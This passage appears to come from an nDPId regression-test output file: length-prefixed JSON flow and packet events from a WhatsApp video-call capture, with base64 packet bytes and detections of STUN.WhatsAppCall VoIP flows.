x+Pbot37CPOJwe1CCDdAiYytUlelaYcf3Hqbnb4mn5pjMUkvJohvpHobUScb2AcifLrDY6QnEnHXu93"} +01042{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455768,"pkt_ts_usec":7889,"pkt_caplen":522,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":522,"pkt_l4_len":488,"pkt":"kLkxKPrKxiwDYGpkCABFAAH8cYIAAFMGf6Cd8BQ1wKgCDBRmwMsu6FKhm9EhroAYALRlKAAAAQEICh5+d6Y0zyVKLSQRVEKsxJjcWg\/H\/lMobRMW7X9RKF\/hZslxhUvme\/4heGQVcnrwt\/Fm5F2U+oLk+gFf2tebzVJU2bS4GWtpyfd7t0eGRRsksu\/IwWXxVQVfXmQWdqBagMROU0+Iv7cKU9E8j8khrgiQj04I4dJ4yob8xXCok1OIYUG8NdpqehsPn5Rq59THddLOmCgUSKZz\/u1aE7VKWVIXUVp7k19fdFvu2yb39GEDWSdBf4J9Oqs32QeZC52b5oVKE0ithMi9GHf6l\/ui7QsmMqIoJ3dCOeAzESPIDse\/Uw0Z19U+hGKwuaFZZxgdpjsRxn00Hd+xbUGY0TDE8Z\/s2TerF+yrQYARAtLEhyCWaiulNjDn+9f5mpFDmqUMLqsqClVwjcqNgfvRUqMf1Kng1nEjbYVdz0eYwkqEjFo20rkpLUKiaSh7EGttgz7HvZkjaMo8Q4Blqb1fKhQbir5L3ofhHA7goOKU5PHOFmaXZoL5abuQvfLea45eBI4EWKOxGMZDoeA8fGnY5ydOnOswhZUwVx+Pbot37CPOJwe1CCDdAiYytUlelaYcf3Hqbnb4mn5pjMUkvJohvpHobUScb2AcifLrDY6QnEnHXu93"} +00810{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":235704,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"kLkxKPrKxiwDYGpkCABFAAFMcYMAAFMGgE+d8BQ1wKgCDBRmwMsu6FRpm9EhroAYALQCXgAAAQEICh5+fHE0zyVKAAEVJiKbfrUe\/gyjf\/W9\/gEaJ7uS5PPiWbxAHQ5sIuIO810KmI2qrFyfKlRmZXJeWs+qn7DUyBkwJqQdOyIp18Yk3S6BSSsapzoP+Y1UX+wK8pEILxVnRTueeMOWK2C\/HCvAJ6xBSDMunBcjw\/2aDWpe\/598RXhkPyqwYBmydHzbpZneSlmRd8NYp+ffhTtzpppjnNKMbDrA4cgpbA\/Eji43C9zJ30bQ6Fqsam5h3ELmsMfkvI7QymmHeUbbP4eCiwXB5AjRUgYXstAYQ0JousF+rM3mlHKPJbLGc5k7bxo3Fi41ztaRcdkzlRDBxh3bfNLiwIJ5\/ZG5QSpnhKD4rFJqJvf2eLZkziD2+oW+89me5vmJgj0dfg=="} +00614{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":236457,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"kLkxKPrKxiwDYGpkCABFAAC9cYQAAFMGgN2d8BQ1wKgCDBRmwMsu6FWBm9EhroAYALR4iQAAAQEICh5+fHM0zyVKAACGPjOU7IlfFTKKPjLab0u0Lu0c\/GYU8yFjkM7I8xnOpMGAjrGKhktVMh\/nBdnlZwf\/mhw39im\/IS3Ijg85jEeQqx0c70nw4IfDVU0Fhp8yM3s5pQp+TOcIfAZeXdC3zTqfSuAZKMohtUP1hrzAjit0Z1mHAAT1+mG868hgb32bJCH6aCBDPTM="} +00662{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":542514,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"kLkxKPrKxiwDYGpkCABFAADhcYUAAFMGgLid8BQ1wKgCDBRmwMsu6FYKm9EhroAYALScYgAAAQEICh5+faQ0zyVKAACqgconRJZ3C1y3MKzGWaJkMq4UBEs29eGjwcJ2hVV0AvRmkevce0Hv0H5UhbKiDKQ\/rhUJ0zpsLpnFfyS4i2W4v3m3UWbTK292eF5Wco5w6Ywlyiuym+Hua8PHXgJmpbugOyiLOwe3RJdpXtE+7t1MyUuP11sS6s3TtDP8pdA564GpTNyryrtQz1HmPH\/6hVJ\/77iUifwg+NlpxYb85HTnKCL6o93eXVsQ98U="} +02320{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":651415,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcYYAAFMGe\/id8BQ1wKgCDBRmwMsu6EzOm9EhroAQALSWPQAAAQEICh5+fhA0zyVKAAeY92kokkA7hrw6j6Vhkd+oEkvjt9+mUaq3VF5ALR\/3dyTIUqE+ce9A8zw57IwXMUm48Ve04aN2q3aoE1gIxi914RnbSua9WCw4BiKEAwBPqN8fZa53YGzu6KGDd+y61i8hb8APzgCq0BgVHxbqR0bN2PsZSNYDa\/cxDiPbHbN81oUvSJ1gG1HfKBlexobCedzu2sUfK2Qs2a4k4D1FAWNImtONV8L8QIDh9roN6NGgmn\/lqF1FSp0J1KRgd0jLjFjyO8E83j6fNPMnzyDyrqqDONC2kuu2acMixjEUltdGs477N1jzC9n+ER\/b\/S6TQcGEY9qe321iyRfAWuN0DLg7mjzkOAiLNEYzLk5mIXEf0ZRFKJwDAvOVHtFaYq9PK\/+TyWbUbh9dyV6FAMdUFiad1IPXICQYrOxMJpvYW44GNTJj7JJd\/vptPppVq\/RnqviVF+HvVQYCfsL\/SVoCMkJWYQL1ncdQ0eep1cbBr6nAtINm6y3vpk9iSvMUPjyihT4LCr1goaODAyLUwBnoKlcyQnCzrUTIAqAAM29AsZFrK3bZYGCyGW\/1MqA4MzwyfwMD1bF+saAkWfKpa6RSRkk3KGr6n6v79y+8bFqwHEmh79h64wuCdareEkcN59XiCjPB2jxFRkpLZWY0mc91mPUnIxaHkuQIMuo4JPBhS7O2C4sRkwc2EdliToDywQdgKCedjvE+Fkv+IJ1yiEuAY7OC0Yop8Phr2Qm2qT+26YDaaSkP6CBAA8F\/0qtcGuDnlIq3ve6KW\/D6MuF4EOQk1b\/mWeGOhmO2zaJtvFI8PxQT5VxpwG5mTmAHNrmnqHuX0IWL3zCefnedyGujv7ty3zJnVuQwRLy87IaxzKXwsdyDG3gOFStZBZK2qgn8IW\/xr0PRTCCbF58t6+kmge68BzSwUxMSja0zleeuWy9nliB9zaa4b+jN\/22Q56CpjAU0jeotHbt7rfwSgaDBMBcRXkBKkMuSRjHPsILIfuplVXUe9hbVn7Go2YVn3YMI8\/AExe4f\/h8AveIFQCrjpuBYwwenY\/QBLof\/waMaXnDMoOqv3UDo5f\/rUkCJZYja2kE\/3ozUaT8Uz0PCmt\/gc\/KCFNUf0Dg1W5QGc7mNzo6HmKq3sVYeKZxgXc+0B\/+Kg+WdAj0nr4z70bgW5GCi4QLhKZrELaubvCFff0BZt4Ss2ARFEyAH9IKD4jhRLgOIMULFRSu5xrKXDGooBaqIU\/671otysjRrQ81PzcJeLF2eHbj0voj\/+FWKEGjREDnwIqXWvMaPKFe8PlPupWBMwOzFz8pMa1\/Cfixow4NV+SRN1L2CcfmYjYCb8vwd81S0Sbh\/yjs0qpd5YLoB8pMYh\/yUoZ+FIXdWz+sa2pEUMxHkvUFc+7SzHNfV7LJOOBb6vDyxWLEcl4dY0FU+ynkwQS3op34TZEH4GA2VEfQdOgNR2iu4EKt2LFEXckrFDQqafGZhK5SjyixnKMbzvINk8a1d4ltQPewgraMY4ASPPuLS07U5UPA1qlh8E94Xhh8y1zAB0VWBPRDFRutgl1y4BL0Lad98ZYlvDZMJKhfwsfD1K84zCNVytc0lpEdS4WwTmG5jVDNkEok\/lFTqI9CJ\/ndHCOSY1DeCIemKT8q2EgY6ncZJwmIWq3s+IAWyQwqNpA+uXGEPONBjE53SU6ADJ7J2GkLvQbStohFZjKPShMILgTsEvkwNRe5icjnZF5b4X\/JteDZslY73Nte1q4DiPugbpWEOEW3UaXBVcccSnBXfsrY1lsgjH8BpxoTBACfj\/Nm3cIxvIq14OKHRvxy9b0mNen\/kzoDrO5sZ\/dAjHBdNu5W\/9k529dGB7vwkors="} +00425{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":744162,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGxerAqAIMnfAUNcDLFGab0SGuLuhSoYAQB+jtxAAAAQEICjTPLsQefnXq"} +00425{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":744403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGxerAqAIMnfAUNcDLFGab0SGuLuhUaYAQB+HsAwAAAQEICjTPLsQefnXq"} +00441{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":744413,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkkLkxKPrKCABFAABAAABAAEAGxd7AqAIMnfAUNcDLFGab0SGuLuhUabAQB+GvVQAAAQEICjTPLsQefnemAQEFCi7oUqEu6FRp"} +00425{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":744665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGxerAqAIMnfAUNcDLFGab0SGuLuhVgYAQB93kaAAAAQEICjTPLsQefnxx"} +00425{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":744674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGxerAqAIMnfAUNcDLFGab0SGuLuhWCoAQB9vj3wAAAQEICjTPLsQefnxz"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1561455769789,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":789452,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaxMYAAEARfZvAqAIMHw1WMNG4DZYAhm0oAAMAaiESpEIMCJFuDJOtHXjqlExAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1561455769789,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00567{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":789547,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACax74AAEAReqPAqAIMHw1WMNG4DZYAhm0nAAMAaiESpEIMCJFuDJOtHXjqlE1AAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1561455769789,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"185.60.216.51","src_port":53688,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":789676,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaIVsAAEARBNTAqAIMuTzYM9G4DZYAhlDzAAMAaiESpEIMCJFuDJOtHXjqlE5AAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1561455769789,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"185.60.216.51","src_port":53688,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00567{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":789803,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa3V0AAEARSNHAqAIMuTzYM9G4DZYAhlDyAAMAaiESpEIMCJFuDJOtHXjqlE9AAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1561455769790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.193.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":790205,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaO9gAAEARHKbAqAIMnfDBMNG4DZYAhoNAAAMAaiESpEIMCJFuDJOtHXjqlFBAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1561455769790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.193.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00568{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":790329,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaLgUAAEARKnnAqAIMnfDBMNG4DZYAhoM\/AAMAaiESpEIMCJFuDJOtHXjqlFFAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1561455769790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"179.60.192.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":790753,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACab00AAEAR1OTAqAIMszzAMNG4DZYAhm7yAAMAaiESpEIMCJFuDJOtHXjqlFJAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1561455769790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"179.60.192.48","src_port":53688,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00567{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":790875,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaCwQAAEAROS7AqAIMszzAMNG4DZYAhm7xAAMAaiESpEIMCJFuDJOtHXjqlFNAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1561455769791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.196.62","src_port":53688,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":791001,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaNcQAAEARH6zAqAIMnfDEPtG4DZYAhoAuAAMAaiESpEIMCJFuDJOtHXjqlFRAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1561455769791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.196.62","src_port":53688,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00567{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":791128,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaC9gAAEARSZjAqAIMnfDEPtG4DZYAhoAtAAMAaiESpEIMCJFuDJOtHXjqlFVAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00453{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":802594,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI\/k4AAFQRMGUfDVYwwKgCDA2W0bgANE7GAQMAGCESpEIMCJFuDJOtHXjqlEwAIAAIAAHuJHGmBnJAAgAIAAABa44EONE="} +00453{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":803703,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI\/k8AAFQRMGQfDVYwwKgCDA2W0bgANE7FAQMAGCESpEIMCJFuDJOtHXjqlE0AIAAIAAHuJHGmBnJAAgAIAAABa44EONE="} +00452{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":812721,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI3v0AAFMRY8Sd8MQ+wKgCDA2W0bgANGHGAQMAGCESpEIMCJFuDJOtHXjqlFQAIAAIAAHuJHGmBnJAAgAIAAABa44EONc="} +00452{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":812753,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI3v4AAFMRY8Od8MQ+wKgCDA2W0bgANGHFAQMAGCESpEIMCJFuDJOtHXjqlFUAIAAIAAHuJHGmBnJAAgAIAAABa44EONc="} +00452{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":813684,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI86gAAFMRH9i5PNgzwKgCDA2W0bgANDKMAQMAGCESpEIMCJFuDJOtHXjqlE4AIAAIAAHuJHGmBnJAAgAIAAABa44EONY="} +00452{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":817420,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIYqUAAFMRzt6zPMAwwKgCDA2W0bgANFCKAQMAGCESpEIMCJFuDJOtHXjqlFIAIAAIAAHuJHGmBnJAAgAIAAABa44EONc="} 